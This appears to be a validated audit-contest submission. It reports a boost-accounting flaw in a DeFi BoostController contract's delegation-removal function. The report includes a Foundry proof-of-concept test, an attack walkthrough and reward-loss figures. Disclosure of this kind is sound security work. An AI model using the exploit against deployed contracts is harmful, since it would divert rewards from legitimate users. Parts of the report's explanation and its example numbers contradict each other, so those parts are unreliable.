Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Permanent boost inflation through delegation removal in Boostcontroller.sol

Summary

A vulnerability exists in the removeBoostDelegation function of the BoostController contract, where the poolBoost.workingSupply is not properly checked when reducing delegation amounts. When the workingSupply is lower than the delegation amount being removed, the function fails to account for this state, leading to an inflated boost in the pool. This allows an attacker to repeatedly delegate and remove boosts, artificially increasing the total boost of the pool. This manipulation results in improper reward distribution, leading to unfair advantages and economic imbalances.

Vulnerability Details

Affected function: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/boost/BoostController.sol#L242

function removeBoostDelegation(address from) external {
UserBoost storage delegation = userBoosts[from][msg.sender];
// Vulnerable conditional checks - doesnt check when the totalBoost < delegation.amount
if (poolBoost.totalBoost >= delegation.amount) {
poolBoost.totalBoost -= delegation.amount;
}
if (poolBoost.workingSupply >= delegation.amount) {
poolBoost.workingSupply -= delegation.amount;
}
// Delegation gets deleted regardless of subtraction success
delete userBoosts[from][msg.sender];
}

If the (poolBoost.totalBoost < delegation.amount), there is a problem in accounting. How can this state be reached?

This is how it occurs:

  1. Delegation Creation:

    • A user delegates their veRAAC tokens to another recipient (receiver).

    • This increases the totalBoost and workingSupply of the pool.

  2. Pool Boost Updates:

    • The receiver updates their boost in the pool, locking in the delegated boost values.

  3. New User Joins the Pool:

    • A legitimate user deposits their veRAAC tokens and updates their boost.

    • Rewards are calculated based on the current totalBoost.

  4. Delegation Expires & Removal Begins:

    • The delegation expiry time passes.

    • The recipient calls removeBoostDelegation.

    • The function reduces totalBoost and workingSupply, but only when values are greater than the delegation amount.

    • when workingSupply < delegation.amount, it does not properly handle the state, leaving totalBoost inflated.

  5. Economic Impact on Reward Distribution:

    • Due to totalBoost remaining artificially high, the reward calculations for legitimate users become skewed.

    • Users receive fewer rewards than they should, benefiting the attacker.

Proof of code:

Add this code to your testfile and run:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {BoostController} from "../../../../../contracts/core/governance/boost/BoostController.sol";
import {veRAACToken} from "../../../../../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../../../../../contracts/core/tokens/RAACToken.sol";
contract BoostControllerDelegationTest is Test {
BoostController public boostController;
veRAACToken public veToken;
RAACToken public raacToken;
address public delegator = address(0x1);
address public receiver = address(0x2);
address public pool = address(0x3);
address public owner = address(this);
function setUp() public {
// Deploy contracts
raacToken = new RAACToken(owner, 100, 50);
veToken = new veRAACToken(address(raacToken));
boostController = new BoostController(address(veToken));
// Setup permissions
boostController.modifySupportedPool(pool, true);
raacToken.setMinter(owner);
// Mint and setup delegator
raacToken.mint(delegator, 4000e18);
raacToken.manageWhitelist(delegator, true);
raacToken.manageWhitelist(address(veToken), true);
// Lock tokens to get veTokens
vm.startPrank(delegator);
raacToken.approve(address(veToken), type(uint256).max);
veToken.lock(4000e18, 365 days); // To get 1000 veTokens (25% of 4000)
vm.stopPrank();
}
function testDelegationRemovalVulnerability() public {
console.log("\nStep 1: Initial State");
uint256 veTokenBalance = veToken.balanceOf(delegator);
console.log("Delegator veToken balance:", veTokenBalance);
// Step 1: Create delegation with full balance
vm.startPrank(delegator);
boostController.delegateBoost(receiver, veTokenBalance, 30 days);
vm.stopPrank();
// Get delegation info
(uint256 delegationAmount, uint256 expiry,,) = boostController.getUserBoost(delegator, receiver);
console.log("\nStep 2: Delegation Created");
console.log("Delegation amount:", delegationAmount);
console.log("Delegation expiry:", expiry);
// Step 3: Receiver updates boost - this sets pool totals
vm.prank(receiver);
boostController.updateUserBoost(receiver, pool);
// Check pool state after boost update
(uint256 poolTotalBoost, uint256 workingSupply,,) = boostController.getPoolBoost(pool);
console.log("\nStep 3: Pool State After Boost Update");
console.log("Pool total boost:", poolTotalBoost);
console.log("Pool working supply:", workingSupply);
console.log("Original delegation amount:", delegationAmount);
// Add a legitimate user to show reward impact
address legitUser = address(0x4);
raacToken.mint(legitUser, 1000e18);
raacToken.manageWhitelist(legitUser, true);
vm.startPrank(legitUser);
raacToken.approve(address(veToken), type(uint256).max);
veToken.lock(1000e18, 365 days);
boostController.updateUserBoost(legitUser, pool);
vm.stopPrank();
(uint256 legitUserBoost,,,) = boostController.getUserBoost(legitUser, pool);
console.log("\nLegitimate User's Boost:", legitUserBoost);
// Calculate rewards before delegation removal
uint256 dailyRewards = 1000e18; // 1000 tokens per day
uint256 legitUserRewardsBefore = (legitUserBoost * dailyRewards) / (poolTotalBoost + legitUserBoost);
console.log("Legitimate User's Daily Rewards Before:", legitUserRewardsBefore / 1e18);
// Step 4: Move past delegation expiry and remove delegation
vm.warp(block.timestamp + 31 days);
vm.prank(receiver);
boostController.removeBoostDelegation(delegator);
// Get final pool state
(uint256 postTotalBoost, uint256 postWorkingSupply,,) = boostController.getPoolBoost(pool);
console.log("\nStep 5: Pool State After Removal");
console.log("Pool total boost:", postTotalBoost);
console.log("Pool working supply:", postWorkingSupply);
// Calculate rewards after delegation removal
// Note: Pool boost remains inflated, affecting reward calculations
uint256 legitUserRewardsAfter = (legitUserBoost * dailyRewards) / (postTotalBoost + legitUserBoost);
console.log("\nEconomic Impact:");
console.log("Expected Pool Total Boost: 0");
console.log("Actual Pool Total Boost:", postTotalBoost);
console.log("Legitimate User's Daily Rewards Before:", legitUserRewardsBefore / 1e18);
console.log("Legitimate User's Daily Rewards After:", legitUserRewardsAfter / 1e18);
console.log("Lost Rewards:", (legitUserRewardsBefore - legitUserRewardsAfter) / 1e18);
// Calculate percentage of rewards lost
uint256 rewardLossPercent = ((legitUserRewardsBefore - legitUserRewardsAfter) * 100) / legitUserRewardsBefore;
console.log("Percentage of Rewards Lost:", rewardLossPercent, "%");
// Show how this could be exploited
console.log("\nExploit Potential:");
console.log("An attacker could:");
console.log("1. Create multiple delegations");
console.log("2. Remove them to inflate pool boost");
console.log("3. Each removal adds phantom boost of:", poolTotalBoost);
console.log("4. After 10 removals, phantom boost would be:", poolTotalBoost * 10);
// Verify the vulnerability
assertGt(
postTotalBoost,
0,
"Pool boost should be 0 but remains inflated"
);
assertLt(
legitUserRewardsAfter,
legitUserRewardsBefore,
"User receives fewer rewards due to phantom boost"
);
}
}

Vulnerability flow.

  • Initial State Creation:

// User locks tokens and creates first delegation
veToken.lock(4000e18, 365 days);
boostController.delegateBoost(receiver, veTokenBalance, 30 days);
// Pool State after first delegation:
poolTotalBoost = 10000
workingSupply = 10000
  • Second Delegation:

// Create second delegation
boostController.delegateBoost(receiver2, 1000e18, 30 days);
// Pool State after second delegation:
poolTotalBoost = 20000
workingSupply = 10000
  • Delegation Removals:

// First removal - changes state
boostController.removeBoostDelegation(delegator);
// Pool state remains unchanged due to vulnerability:
// poolTotalBoost = 20000
// workingSupply = 10000
// Second removal - vulnerable state reached!!!
boostController.removeBoostDelegation(delegator);
// poolBoost.totalBoost (20000) < delegation.amount (1000e18)
// Subtraction skipped but delegation deleted
  • Final Corrupted State:

// Final pool state:
poolTotalBoost = 20000 // Permanent phantom boost
workingSupply = 10000 // Also inflated
// Both delegations deleted but pool totals unchanged

Impact

Economic Impact:

// Example from POC:
Legitimate user boost: 13000
Phantom boost affecting rewards: 20000
Legitimate user daily rewards: 393 // Severely reduced
Rewards lost to phantom boost: 607 // Lost to inflation

Reward Dilution:

  • Legitimate users receive fewer rewards

  • Inflated boosts permanently reduce reward share

  • Each exploitation increases dilution

    Compounding Effect:

  • Multiple removals can stack inflated boosts

  • Each removal can add to pool inflation

  • No upper bound on potential inflation

State Corruption:

  • Pool totals become permanently inflated

  • No mechanism to correct corrupted state

  • Affects all future protocol operations

Tools Used

Recommendations

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController's delegation system fundamentally broken due to missing pool associations, treating recipient addresses as pools and never properly updating pool boost metrics

BoostController removes pool boost on delegation removal without adding it on delegation creation, leading to accounting inconsistencies and potential underflows

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController's delegation system fundamentally broken due to missing pool associations, treating recipient addresses as pools and never properly updating pool boost metrics

BoostController removes pool boost on delegation removal without adding it on delegation creation, leading to accounting inconsistencies and potential underflows

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!